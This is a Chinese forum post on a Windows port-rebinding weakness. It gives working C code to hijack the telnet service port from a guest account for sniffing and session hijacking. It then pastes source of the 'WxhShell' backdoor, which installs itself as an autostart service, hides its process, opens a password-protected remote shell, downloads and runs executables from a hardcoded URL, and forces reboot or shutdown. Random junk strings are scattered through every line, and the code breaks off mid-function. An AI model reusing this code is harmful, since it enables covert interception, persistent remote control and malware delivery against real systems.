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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f<!3vAh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K@Z K@++  
V0'T)  
  saddr.sin_family = AF_INET; `o7m)T')  
'G3;!xk$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :\ %.x3T'  
^4jIT1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f? sW^ d;  
Z<j(ZVO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gO C5  
li>`9qCmI  
  这意味着什么?意味着可以进行如下的攻击: o_un=ygU  
o+U]=q*|)$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1PwqW g-\\  
"2cJ'n/L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Fi8'3/q-^  
`Qzga}`"]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [Xy^M3  
Vf Jpiv1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -8- BVU  
V wj^h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WU}?8\?U%  
_)4YxmK%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $6p_`LD0  
n0o'ns  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \k6Ho?PL  
+.i?UHNB  
  #include J{98x zb  
  #include =F>@z4[P-  
  #include MGUzvSf  
  #include    7 S^iGe  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?sb Ob  
  int main() ,TuDG*YA  
  { nF0V`O \T  
  WORD wVersionRequested; 3`9H  
  DWORD ret; D;@*  
  WSADATA wsaData; zu6Y*{$>g  
  BOOL val; x"kc:F  
  SOCKADDR_IN saddr; kj(Ko{  
  SOCKADDR_IN scaddr; ,3^gB,ka  
  int err; 0>#or$:6E  
  SOCKET s; x Bn+-V  
  SOCKET sc; Qz*!jwg  
  int caddsize; H ]BH  
  HANDLE mt; Yh%a7K   
  DWORD tid;   zo*YPDEm"  
  wVersionRequested = MAKEWORD( 2, 2 ); %vPs38Fks  
  err = WSAStartup( wVersionRequested, &wsaData ); XW!a?aLNX  
  if ( err != 0 ) { [da,SM  
  printf("error!WSAStartup failed!\n"); 1(V>8}zn  
  return -1; B7"/K]dR:  
  } ?`+46U%  
  saddr.sin_family = AF_INET; P.bBu  
   |%JJ S^)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5@3[t`n'  
#BQ7rF7CNE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *%JncK '  
  saddr.sin_port = htons(23); 2#z6=M~A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y 9rW_m@B  
  { lWj|7  
  printf("error!socket failed!\n"); K9v@L6pY=  
  return -1; hX#s3)87  
  } J)O1)fR  
  val = TRUE; 3e UTV<!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _D9` L&X}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^4@~\#$z  
  { vywd&7gK  
  printf("error!setsockopt failed!\n"); Do@:|n  
  return -1; \VL[,z=q.  
  } i~\fpay  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +QNFu){G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D3#/*Ky  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %JBFG.+  
%x_c2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %GUu{n<6  
  { \VmqK&9   
  ret=GetLastError(); 0T,Qn{  
  printf("error!bind failed!\n"); sW)C6 #  
  return -1; j-2`yR  
  } @=o1q=5@8  
  listen(s,2); Q9X7- \n  
  while(1) DXPiC[g]  
  { ,: X+NQ  
  caddsize = sizeof(scaddr); /{pVYY  
  //接受连接请求 41luFtE9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j?Ki<MD1  
  if(sc!=INVALID_SOCKET) [;M31b3  
  { d%l_:M3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sY__ak!>  
  if(mt==NULL) uSSnr#i^j  
  { iTTe`Zr5y  
  printf("Thread Creat Failed!\n"); *0ZL@Kw  
  break; M/GQQG;  
  } olPV"<;+pO  
  } nOxCni~ T  
  CloseHandle(mt); a' "4:(L  
  } H!U\;ny  
  closesocket(s); $ JI`&  
  WSACleanup(); <VD^f  
  return 0; ?qr-t+  
  }   XWvT(+J  
  DWORD WINAPI ClientThread(LPVOID lpParam) c-z 2[a8  
  { -L>\58`  
  SOCKET ss = (SOCKET)lpParam; |B&KT  
  SOCKET sc; G5W6P7-<X  
  unsigned char buf[4096]; UeB8|z  
  SOCKADDR_IN saddr; Z&W|O>QTl  
  long num; ZbTU1Y/'   
  DWORD val; P<b.;Oz__-  
  DWORD ret; )'8DK$.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,)mqd2)+"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fII;t-(x  
  saddr.sin_family = AF_INET; t ?8 ?Ok  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dj*%^cI  
  saddr.sin_port = htons(23); ) |`eCzCB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q+|8|V}w  
  { j:D@X=|  
  printf("error!socket failed!\n"); QC.WR'.  
  return -1; p2}$S@GD  
  } Q!/<=95E  
  val = 100; xlVQ[Mt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gwk$|aT@  
  { ia15r\4j)  
  ret = GetLastError(); }B2H)dG^K  
  return -1; )@.bkzW  
  } |K?fVL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `j*&F8}  
  { QjETu  
  ret = GetLastError(); iMRb` \KH  
  return -1; 2SU G/-P#  
  } Q\G8R^9j p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Izq]nR  
  { BQWEC,*N  
  printf("error!socket connect failed!\n"); !}wJ+R ^2  
  closesocket(sc); 0S@O]k)  
  closesocket(ss); v0!>":  
  return -1; 24{!j[,q@  
  } f !t2a//  
  while(1) ty]JUvR@  
  { L%`~`3%n-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (gBP`*2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]Po9a4w#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X}'3N'cbkU  
  num = recv(ss,buf,4096,0); @O+yxGA  
  if(num>0) }h<\qvCcU  
  send(sc,buf,num,0); 8[(eV.  
  else if(num==0) E> Ukxi1  
  break;  r(pp =  
  num = recv(sc,buf,4096,0); KL]K< A  
  if(num>0) jLC,<V*  
  send(ss,buf,num,0); P<GY"W+r R  
  else if(num==0) TF 6_4t6  
  break; %Qc#v$;+J  
  } KquHc-fzqr  
  closesocket(ss); ^7v}wpwX\  
  closesocket(sc); Z"#ysC  
  return 0 ; tr"iluwGc  
  } XNwY\y  
iRo UM.%  
[7B:{sH  
========================================================== $wU.GM$t~  
c38RE,4U  
下边附上一个代码,,WXhSHELL }Q_IqI[7  
^_3idLE  
========================================================== x!bFbi#!"  
?KpHvf'  
#include "stdafx.h" !o~% F5|t  
?cr;u~-=  
#include <stdio.h> =-jkp  
#include <string.h> (V @g?|LZ  
#include <windows.h> &'V_80vA  
#include <winsock2.h> I_.(&hMn  
#include <winsvc.h> x{<WJ|'B  
#include <urlmon.h> $7gzu4f  
!%J;dOcU  
#pragma comment (lib, "Ws2_32.lib") SQ5SvYH  
#pragma comment (lib, "urlmon.lib")  fI[tU(x  
=Z_\8qc  
#define MAX_USER   100 // 最大客户端连接数 L~A"%T,/h  
#define BUF_SOCK   200 // sock buffer T[>h6d  
#define KEY_BUFF   255 // 输入 buffer cv;&ff2%?  
4]nU%`Z1w  
#define REBOOT     0   // 重启 <.( IJ  
#define SHUTDOWN   1   // 关机 P{5p'g ,  
t,= ta{ a  
#define DEF_PORT   5000 // 监听端口  CJg &  
T+NEw8C?/  
#define REG_LEN     16   // 注册表键长度 #T Cz$_=t  
#define SVC_LEN     80   // NT服务名长度 z=<T[Uy  
a#FkoA~M  
// 从dll定义API E+V^5Z:u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rklr^ e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uS bOGhP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X;flA*6V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /pgfa-<  
GdEkA  
// wxhshell配置信息 t5N@ z  
struct WSCFG { @i&LKr8  
  int ws_port;         // 监听端口 B1c`(mHl  
  char ws_passstr[REG_LEN]; // 口令 l5Z=aW Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2NAGXWE  
  char ws_regname[REG_LEN]; // 注册表键名 aUSxy8%  
  char ws_svcname[REG_LEN]; // 服务名 CeS8I-,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }!\NdQs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E4[ |=<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YQ X+lE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1;3oGuHj8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [&t3xC,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xy46].x-  
wx -NUTRim  
}; z %{>d#rw  
Z"'rc.>a  
// default Wxhshell configuration [VIdw 92  
struct WSCFG wscfg={DEF_PORT, meu\jg  
    "xuhuanlingzhe", "RuJlp  
    1, i;lzFu )G  
    "Wxhshell", |vz< FR6  
    "Wxhshell", _IOeO  
            "WxhShell Service", &+6XdhX  
    "Wrsky Windows CmdShell Service", \c/jp5=}  
    "Please Input Your Password: ", "5Oog<  
  1, 4ao oBY$  
  "http://www.wrsky.com/wxhshell.exe", *CA|}l  
  "Wxhshell.exe" u /JEQz1  
    }; ESiNW&u2  
EAxg>}'1j  
// 消息定义模块 1QtT*{zm$F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }Xyu" P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~!meO;|W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pA3j@w  
char *msg_ws_ext="\n\rExit."; Jx1oK  
char *msg_ws_end="\n\rQuit."; 6[wej$ u  
char *msg_ws_boot="\n\rReboot..."; ~[Mk QJxe  
char *msg_ws_poff="\n\rShutdown..."; P~redX=t@  
char *msg_ws_down="\n\rSave to "; kU_bLC?>D  
E:xpma1Qf  
char *msg_ws_err="\n\rErr!"; kLMg|48fdI  
char *msg_ws_ok="\n\rOK!"; }cgEC-  
)52:@=h*l  
char ExeFile[MAX_PATH]; 15VOQE5Fl`  
int nUser = 0; ps"crV-W  
HANDLE handles[MAX_USER]; uljd)kLy4O  
int OsIsNt; Gv>,Ad ka  
dr^pzM!N  
SERVICE_STATUS       serviceStatus; dm,7OQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; | ctGxS9  
"p.MJxH  
// 函数声明 S0/@y'q3en  
int Install(void); ]kbmbO?M  
int Uninstall(void); l*HONl&j  
int DownloadFile(char *sURL, SOCKET wsh); &|iFhf[o  
int Boot(int flag); pA='(G  
void HideProc(void); K8Gc5#OF  
int GetOsVer(void); |@]J*Kh  
int Wxhshell(SOCKET wsl); yeKzI~  
void TalkWithClient(void *cs); Un^QNd>  
int CmdShell(SOCKET sock); f% ZqK_CW  
int StartFromService(void); [0yKd?e  
int StartWxhshell(LPSTR lpCmdLine); hEsCOcEG  
YZ:YYcr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YoGnk^$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =#^%; 66z  
iOPv % [  
// 数据结构和表定义 '?E^\\"*  
SERVICE_TABLE_ENTRY DispatchTable[] = Nz#T)MGO`  
{ cbsy&U  
{wscfg.ws_svcname, NTServiceMain}, c 6}d{B[  
{NULL, NULL} G5ebb6[+  
}; CY)/1 # J  
F)j-D(c4  
// 自我安装 9@./=5N~3  
int Install(void) hdW",Bf'  
{ Kpz>si?CL  
  char svExeFile[MAX_PATH]; ) I 4d_]&  
  HKEY key; N6cf`xye  
  strcpy(svExeFile,ExeFile); &BqRyUM$F  
,IA0n79  
// 如果是win9x系统,修改注册表设为自启动 wg^#S  
if(!OsIsNt) { &fdH HN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m;WUp{'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  "@Bc eD  
  RegCloseKey(key); Xlw&hKS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C16MzrB}(N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cn v4!c0  
  RegCloseKey(key); gH Q[D|zu  
  return 0; djS?$WBpU  
    } b(_PCVC  
  } -_ .f&l8  
} kwMuL>5  
else { _2q4Aaza  
zwN;CD1  
// 如果是NT以上系统,安装为系统服务 \U4O*lq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VmF?8Vi4  
if (schSCManager!=0) ?Vb=W)Es  
{ JHwkLAuz  
  SC_HANDLE schService = CreateService :7D&=n)  
  ( jRm:9`.Q  
  schSCManager, L^KGY<hp4  
  wscfg.ws_svcname, O}MY:6Pe  
  wscfg.ws_svcdisp, _Hl[Fit<j1  
  SERVICE_ALL_ACCESS, Jn +[:s.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^ox^gw)  
  SERVICE_AUTO_START, 7e/Uc!&*  
  SERVICE_ERROR_NORMAL, 1B+MCt4  
  svExeFile, sVZb[|zSri  
  NULL, "V&2 g?  
  NULL, BXO(B'1)]  
  NULL, VE& ?Zd~  
  NULL, Vg#s  
  NULL W*QD'  
  ); AT<gV/1l  
  if (schService!=0) 00Tm0rY  
  { sD1L P  
  CloseServiceHandle(schService); ^*`{W4e]  
  CloseServiceHandle(schSCManager); bEV 9l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s!~M,zsQN  
  strcat(svExeFile,wscfg.ws_svcname); CCDoiTu!4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pL]C]HGv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !oLrN/-  
  RegCloseKey(key); K%Mm'$fTw  
  return 0; qo}-m7  
    } m( C7Fa  
  } S]KcAz(fX  
  CloseServiceHandle(schSCManager); Cmm"K[>Rx  
} d;Z<")  
} >T%Jlj3ZG  
KM g`O3_16  
return 1; =%znY`0b56  
} TgSU}Mf)a  
X1]&j2WR  
// 自我卸载 W'E!5T^  
int Uninstall(void) 8X!UtHml  
{ [z]@ <99/  
  HKEY key; [`_&d7{-4b  
6`]R)i]  
if(!OsIsNt) { v'a]SpE5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KwN o/x| v  
  RegDeleteValue(key,wscfg.ws_regname); ?cG+rC%  
  RegCloseKey(key); Cfyas'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dw%>y93V  
  RegDeleteValue(key,wscfg.ws_regname); f_Y[I :  
  RegCloseKey(key); tV9W4`Z2q  
  return 0; #] vq <Y  
  } *DLv$/(0  
} (zWzF_v  
} '&W`x5`t  
else { <]b}R;9v  
CM>/b3nOW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Dj;h!8t.  
if (schSCManager!=0) jZ7/p^c5R  
{ V`TXn[7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /R8>f  
  if (schService!=0) KunK.m  
  { 'd]9u9u  
  if(DeleteService(schService)!=0) { U> (5J,G  
  CloseServiceHandle(schService); 7OS\j>hb~  
  CloseServiceHandle(schSCManager); hQ i[7r($8  
  return 0; y%|nE((  
  } !aeL*`;  
  CloseServiceHandle(schService); (s %T1 8  
  } i92{N$*x  
  CloseServiceHandle(schSCManager); kI<C\ *N  
} HPCzh  
} l#7,<@)  
 V-}d-Y  
return 1; :M`|*~V~$  
} q+x4Od3  
Y)N(uv6  
// 从指定url下载文件 yrdJX  
int DownloadFile(char *sURL, SOCKET wsh) +o?.<[>!GR  
{ h.%VWsAO7  
  HRESULT hr; w eT33O"!1  
char seps[]= "/"; HyiuU`  
char *token; VD,F?L!  
char *file; 6.6~w\fR8  
char myURL[MAX_PATH]; yH|ucN~k5S  
char myFILE[MAX_PATH]; T73oW/.0X?  
r%xp^j}  
strcpy(myURL,sURL); .lb2`!'r&  
  token=strtok(myURL,seps); f/Grem  
  while(token!=NULL) NO +j    
  { Uey.@2Q  
    file=token; W:3u$LTf*f  
  token=strtok(NULL,seps); b5_A*-s$M  
  } *GfGyOS(  
'<!/\Jz9l  
GetCurrentDirectory(MAX_PATH,myFILE); V8NJ0fF  
strcat(myFILE, "\\"); +AZ=nMgW  
strcat(myFILE, file); ,M>W)TSH  
  send(wsh,myFILE,strlen(myFILE),0); 1#^[{XlAx  
send(wsh,"...",3,0); Qf414 oW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Nn ?BD4i  
  if(hr==S_OK) o2 W pi  
return 0; +IuV8XT2(  
else !Wvzum@5D  
return 1; =gGK243  
 elWN-~  
} enF.}fo]  
Z"lL=0rY/  
// 系统电源模块 hEl)BRJ  
int Boot(int flag) ?fXg_?+{'g  
{ .!U `,)I  
  HANDLE hToken; XU2 HWa  
  TOKEN_PRIVILEGES tkp; nOkX:5  
zr&K0a{hc  
  if(OsIsNt) { ]b'K BAMy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iEr|?,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7_S+/2}U*  
    tkp.PrivilegeCount = 1; $P^=QN5 Bb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Xr :"8FT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N ]}Re$5  
if(flag==REBOOT) { wC{ =o`v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~"gOq"y 5p  
  return 0; 7Hf6$2Wh  
} Sj+ gf~~  
else { yZb@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bC$n+G>6k  
  return 0; XZV)4=5iSO  
} dDi 1{s  
  } q .tVNKy%  
  else { w6Dysg:  
if(flag==REBOOT) { [^"e~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L0UAS'hf  
  return 0; `y;&M8.  
} z:+Xs!S  
else { ,T|iA/c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3Nr8H.u&q  
  return 0; *gMuo6  
} Y;e@ `.(  
} 56>Zqtp*  
GE Xz)4[  
return 1; sG}}a}U1  
} %a5Sc|&-  
G2;Uv/vR  
// win9x进程隐藏模块 *B#OLx  
void HideProc(void) E"#<I*b  
{ =WyAOgy}  
/# 0@C[9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5;`([oX|_  
  if ( hKernel != NULL ) ?TMo6SU  
  { t82Bp[t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i2N*3X~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lg9]kpOpa  
    FreeLibrary(hKernel); K.o?g?&<  
  } !h?N)9e  
bp_3ETK]P  
return; $ n  n4  
} Vn];vN  
</bWFW~x  
// 获取操作系统版本 ~ZG>n{Q   
int GetOsVer(void) DQ9 <N~l  
{ zL OmtZ(['  
  OSVERSIONINFO winfo; ,m3AVHa*G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5w}xjOYIjV  
  GetVersionEx(&winfo); -|J?-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :eHh }  
  return 1; \M:,Vg  
  else rvw1'y  
  return 0; Gg5vf]VFo  
} & Radpb2p6  
FE M_7M  
// 客户端句柄模块 js;IUSj.  
int Wxhshell(SOCKET wsl) lDMYDy{<  
{ i;6\tK"!  
  SOCKET wsh; pRMM1&H  
  struct sockaddr_in client; _[0Ugfz (  
  DWORD myID;  ynZ!  
h=`rZC  
  while(nUser<MAX_USER) lba*&j]w=  
{ G`6U t  
  int nSize=sizeof(client); 3AWB Y .  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <Y~V!9(~{Q  
  if(wsh==INVALID_SOCKET) return 1; YV! !bI  
}!n<L:njX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {sX*SbJt  
if(handles[nUser]==0) ? 1Z\=s  
  closesocket(wsh); tE>3.0U0Q  
else 2q2wo&uK  
  nUser++; KC}B\~ +  
  } s15f <sp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V X211U.Q  
(c(?s`;  
  return 0; Kh$L~4l  
} dr'6N1B@  
?ZTB u[  
// 关闭 socket &hV;3";  
void CloseIt(SOCKET wsh) `f6Qd2\  
{ dE ^(KBF  
closesocket(wsh); -z'@Mh|i6l  
nUser--; vaTXu*   
ExitThread(0); M$! 0ikh  
} 1$".7}M4$  
qn+mlduU  
// 客户端请求句柄 35&&*$Jm  
void TalkWithClient(void *cs) M{~eI  
{ >V;<K?5B`W  
t{?_]2vl  
  SOCKET wsh=(SOCKET)cs; @M,KA {e  
  char pwd[SVC_LEN]; Rw$ @%o%  
  char cmd[KEY_BUFF]; [K"v)B'  
char chr[1]; ^QYI`u`4  
int i,j; /JveN8L%  
>D-$M_  
  while (nUser < MAX_USER) { /f0_mi,bD  
_fMooI)U1  
if(wscfg.ws_passstr) { NA0hQGN}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ry7(V:ic  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K.X% Q,XD  
  //ZeroMemory(pwd,KEY_BUFF); (\WePOy&  
      i=0; 5O*+5n  
  while(i<SVC_LEN) { i>!f|<  
R^PQ`$W 'R  
  // 设置超时 NiyAAw  
  fd_set FdRead; \7og&j-h  
  struct timeval TimeOut; J4S2vBe16  
  FD_ZERO(&FdRead); 78 UT]<Q;K  
  FD_SET(wsh,&FdRead); J~c]9t  
  TimeOut.tv_sec=8; <D&75C#  
  TimeOut.tv_usec=0; Q{$2D&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )dlt$VX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *&5G+d2  
L` Qiu@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [X~H Uk??  
  pwd=chr[0]; 4<LRa=XT$  
  if(chr[0]==0xd || chr[0]==0xa) { kkzXv`+  
  pwd=0; JVXBm]  
  break; f(##P|3>R  
  } &VQwuO  
  i++; 6fkL@It  
    } ZnmBb_eX  
r*tGT_/6  
  // 如果是非法用户,关闭 socket 2t(E+^~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); > }:6m  
} D ORFK  
.6/[X` *  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /ox}l<ha  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '4O1Y0K  
3}N:oJI$z  
while(1) { Kt`0vwkjvI  
E~N}m7kTl/  
  ZeroMemory(cmd,KEY_BUFF); ^8fO3<Jg  
T.K$a\/{,  
      // 自动支持客户端 telnet标准   ,u\M7,a^  
  j=0; @Z|cUHo  
  while(j<KEY_BUFF) { A Ys<IMQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h|jsi*4NnL  
  cmd[j]=chr[0]; 7J')o^MG  
  if(chr[0]==0xa || chr[0]==0xd) { /8GVu7  
  cmd[j]=0; >O?EFd>E  
  break; koAc-o  
  } u}ab[$Q5  
  j++; X59~)rH,  
    } X1" `0r3  
x$A5Ved  
  // 下载文件 8E$KR:/:4  
  if(strstr(cmd,"http://")) { _{ ?1+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cFuvi^n\  
  if(DownloadFile(cmd,wsh)) /yH:ur  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4!E6|N%f  
  else .|o7YTcR:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zIm$S/Qe*  
  } ea B-u  
  else { ?(R6}ab>K7  
T4Zp5m")  
    switch(cmd[0]) { yfaXScbE  
  UUA7m$F1  
  // 帮助 m >'o&Hj  
  case '?': { IcaF 4#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o"5R^a@  
    break; ZA:YoiaC#  
  } rL_AqSGAK1  
  // 安装 67J=#%\  
  case 'i': { rJg! 2  
    if(Install()) fe&K2C%bm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lRentNg0b  
    else Kh%9Oy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tAaFIIvY  
    break; @BBqH&<`  
    } p-zLi!  
  // 卸载 $XaZqzeVI  
  case 'r': { \:O5,wf2  
    if(Uninstall()) am@\$Sa4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C96|T>bk  
    else <.=   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q=>@:1=  
    break; s%p(_pB  
    } bBg?x 4bu  
  // 显示 wxhshell 所在路径 iD{;!dUZ  
  case 'p': { Bz ]64/  
    char svExeFile[MAX_PATH]; F"9q Bl~  
    strcpy(svExeFile,"\n\r"); :%;K`w  
      strcat(svExeFile,ExeFile); *6=[Hmygi  
        send(wsh,svExeFile,strlen(svExeFile),0); cMtkdIO  
    break; W;,Jte<'Nm  
    } KcY 2lTvx  
  // 重启 jaNkWTm :  
  case 'b': { ))Aj X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [}+ MZ  
    if(Boot(REBOOT)) (bZ)pW/iw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GyT{p#l  
    else { L5PN]<~T  
    closesocket(wsh); P 7gS M  
    ExitThread(0); b vUYLWzS  
    } h-#Glse<  
    break; q/&Z6LJ)  
    } +#n[55d  
  // 关机 DBVe69/S  
  case 'd': { @(oz`|*  
